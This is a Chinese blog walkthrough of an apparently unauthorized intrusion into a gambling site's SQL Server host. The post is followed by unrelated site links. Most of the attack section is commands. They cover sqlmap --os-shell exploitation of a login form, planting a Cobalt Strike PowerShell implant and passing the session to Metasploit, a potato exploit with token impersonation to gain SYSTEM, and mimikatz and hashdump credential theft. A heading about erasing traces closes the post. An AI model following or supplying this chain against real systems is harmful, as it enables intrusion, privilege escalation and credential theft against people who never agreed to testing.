当前位置：网站首页>渗透实战-SQLServer提权
渗透实战-SQLServer提权
2022-07-04 03:32:00 【amingMM】
技术点：
云盾躲避
cs / msf 配合上线
0x00 打点前提
BC站 登录界面
sqlmap 直接跑 sql盲注
sqlmap -u "http://127.0.0.1/Login/index " --form --batch --os-shell
os-shell
0x01 上线CS
Cobalt Strike
● 创建监听
生成一个Powershell command的木马
丢到刚刚的shell命令行里面去
● 查看权限
当前的shell权限，只有nt service\mssqlserver，权限很低
0x02 提权
● 查看补丁
安装了154个补丁
修补程序: 安装了 154 个修补程序。
[01]: KB2959936
[02]: KB3191564
[03]: KB2896496
[04]: KB2919355
[05]: KB2920189
[06]: KB2928120
[07]: KB2931358
[08]: KB2931366
[09]: KB2933826
[10]: KB2938066
[11]: KB2938772
[12]: KB2949621
[13]: KB2954879
[14]: KB2958262
[15]: KB2958263
[16]: KB2961072
[17]: KB2965500
[18]: KB2966407
[19]: KB2967917
[20]: KB2971203
[21]: KB2971850
[22]: KB2973351
[23]: KB2973448
[24]: KB2975061
[25]: KB2976627
[26]: KB2977629
[27]: KB2981580
[28]: KB2987107
[29]: KB2989647
[30]: KB2989930
[31]: KB2998527
[32]: KB3000850
[33]: KB3003057
[34]: KB3004545
[35]: KB3008242
[36]: KB3011780
[37]: KB3012702
[38]: KB3013172
[39]: KB3013410
[40]: KB3013538
[41]: KB3013769
[42]: KB3013791
[43]: KB3013816
[44]: KB3014442
[45]: KB3019978
[46]: KB3021674
[47]: KB3023266
[48]: KB3024751
[49]: KB3024755
[50]: KB3027209
[51]: KB3030947
[52]: KB3031044
[53]: KB3033446
[54]: KB3034348
[55]: KB3035126
[56]: KB3036612
[57]: KB3038002
[58]: KB3042058
[59]: KB3042085
[60]: KB3043812
[61]: KB3044374
[62]: KB3044673
[63]: KB3045634
[64]: KB3045685
[65]: KB3045717
[66]: KB3045719
[67]: KB3045755
[68]: KB3045999
[69]: KB3046017
[70]: KB3046737
[71]: KB3048043
[72]: KB3054169
[73]: KB3054203
[74]: KB3054256
[75]: KB3054464
[76]: KB3055323
[77]: KB3055343
[78]: KB3055642
[79]: KB3059317
[80]: KB3060681
[81]: KB3060793
[82]: KB3061512
[83]: KB3063843
[84]: KB3071756
[85]: KB3077715
[86]: KB3078405
[87]: KB3078676
[88]: KB3080149
[89]: KB3081320
[90]: KB3082089
[91]: KB3084135
[92]: KB3084905
[93]: KB3086255
[94]: KB3087137
[95]: KB3091297
[96]: KB3092601
[97]: KB3092627
[98]: KB3094486
[99]: KB3095701
[100]: KB3099834
[101]: KB3100473
[102]: KB3102429
[103]: KB3102939
[104]: KB3103616
[105]: KB3103696
[106]: KB3103709
[107]: KB3109103
[108]: KB3109976
[109]: KB3110329
[110]: KB3115224
[111]: KB3121261
[112]: KB3123245
[113]: KB3126041
[114]: KB3126434
[115]: KB3126587
[116]: KB3126593
[117]: KB3132080
[118]: KB3133043
[119]: KB3133690
[120]: KB3134179
[121]: KB3134815
[122]: KB3137728
[123]: KB3138602
[124]: KB3139164
[125]: KB3139398
[126]: KB3139914
[127]: KB3140219
[128]: KB3140234
[129]: KB3144850
[130]: KB3145384
[131]: KB3145432
[132]: KB3146604
[133]: KB3146723
[134]: KB3146751
[135]: KB3147071
[136]: KB3149157
[137]: KB3155784
[138]: KB3156059
[139]: KB3159398
[140]: KB3161949
[141]: KB3162343
[142]: KB3172614
[143]: KB3172729
[144]: KB3175024
[145]: KB3178539
[146]: KB3179574
[147]: KB3185319
[148]: KB4033428
[149]: KB4483187
[150]: KB4486105
[151]: KB4486107
[152]: KB5001403
[153]: KB5007154
[154]: KB5008263
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP: 是
使用ms16-075试试
查看AV
https://mrxn.net/avlist/
有阿里云盾
0x03 转场msf
● 新建 payload
选择 Foreign HTTP
在msf上使用
● CS 新建会话
选择你的会话即可派生会话
在msf上等到会话连接(注意：域前置貌似无法派生会话)
权限依旧很低，在CS里面使用文件浏览上传烂土豆
● 在当前会话里面，开始提权：
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
拿到了system权限
0x04 抓取Hash
load mimikatz
creds_all
使用msf自带的：run post/windows/gather/smart_hashdump
直接登录
0x05 清理痕迹
边栏推荐
- Hospital network planning and design document based on GLBP protocol + application form + task statement + opening report + interim examination + literature review + PPT + weekly progress + network to
- Which product is better for 2022 annual gold insurance?
- Handler source code analysis
- Record a problem that soft deletion fails due to warehouse level error
- Which product is better if you want to go abroad to insure Xinguan?
- PMP 考試常見工具與技術點總結
- Teach you how to optimize SQL
- [PaddleSeg 源码阅读] PaddleSeg计算 mIoU
- No clue about the data analysis report? After reading this introduction of smartbi, you will understand!
- Future源碼一觀-JUC系列
猜你喜欢
![[Valentine's Day confession code] - Valentine's Day is approaching, and more than 10 romantic love effects are given to the one you love](/img/ab/066923f1aa1e8dd8dcc572cb60a25d.jpg)
[Valentine's Day confession code] - Valentine's Day is approaching, and more than 10 romantic love effects are given to the one you love
MySQL query
96% of the collected traffic is prevented by bubble mart of cloud hosting
How about the ratings of 2022 Spring Festival Gala in all provinces? Map analysis helps you show clearly!
Summary of Chinese remainder theorem
Lichuang EDA learning notes 14: PCB board canvas settings
Setting methods, usage methods and common usage scenarios of environment variables in postman
WordPress collection WordPress hang up collection plug-in
PID of sunflower classic
Typical applications of minimum spanning tree
随机推荐
150 ppt! The most complete "fair perception machine learning and data mining" tutorial, Dr. AIST Toshihiro kamishima, Japan
(practice C language every day) pointer sorting problem
基于PHP的轻量企业销售管理系统
This function has none of DETERMINISTIC, NO SQL..... (you *might* want to use the less safe log_bin_t
Webhook triggers Jenkins for sonar detection
Typical applications of minimum spanning tree
Defensive programming skills
[UE4] parse JSON string
Contest3145 - the 37th game of 2021 freshman individual training match_ J: Eat radish
Redis notes (I) Linux installation process of redis
[source code analysis] model parallel distributed training Megatron (5) -- pipestream flush
Don't disagree, this is the most powerful "language" of the Internet
Contest3145 - the 37th game of 2021 freshman individual training match_ E: Eat watermelon
JVM family -- monitoring tools
Setting methods, usage methods and common usage scenarios of environment variables in postman
CUDA basic knowledge
MySQL backup notes
MySQL is dirty
选择排序与冒泡排序模板
No clue about the data analysis report? After reading this introduction of smartbi, you will understand!